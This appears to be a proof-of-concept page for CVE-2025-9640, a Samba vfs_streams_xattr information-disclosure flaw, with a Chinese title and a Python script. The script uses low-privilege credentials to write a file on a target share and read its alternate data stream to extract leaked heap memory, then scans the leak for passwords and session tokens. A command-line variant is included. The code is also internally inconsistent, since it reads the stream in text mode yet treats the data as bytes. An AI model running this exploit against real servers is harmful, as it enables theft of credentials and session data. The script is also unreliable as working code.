CVE-2025-9640 Samba vfs_streams_xattr模块信息泄露漏洞

# CVE-2025-9640 PoC - Samba vfs_streams_xattr Information Disclosure # This PoC demonstrates reading uninitialized heap memory through alternate data streams import smbclient import os import tempfile # Step 1: Configure SMB connection with valid low-privilege credentials smbclient.ClientConfig(username='low_priv_user', password='password123') # Step 2: Connect to the target Samba share share_path = r'\\target_samba_server\shared_folder' # Step 3: Create a file and trigger ADS write with uninitialized heap memory test_file = os.path.join(share_path, 'test_file.txt') # Write minimal data to the main stream with smbclient.open_file(test_file, mode='w') as f: f.write('x') # Step 4: Access the alternate data stream which may contain uninitialized heap data # The ADS name format is filename:streamname ads_path = test_file + ':secret_stream' # Step 5: Read the alternate data stream to extract residual heap memory try: with smbclient.open_file(ads_path, mode='r') as f: leaked_data = f.read() print(f"[*] Leaked data from ADS (hex): {leaked_data.hex()}") print(f"[*] Leaked data length: {len(leaked_data)} bytes") # Analyze leaked content for sensitive patterns if b'password' in leaked_data.lower(): print("[!] Potential credential leak detected!") if b'session' in leaked_data.lower(): print("[!] Potential session token leak detected!") except Exception as e: print(f"[-] Error accessing ADS: {e}") # Alternative: Use smbclient command line tool # smbclient //target_samba_server/shared_folder -U low_priv_user%password123 # > get test_file.txt:secret_stream leaked_data.bin # > exit # xxd leaked_data.bin | head -50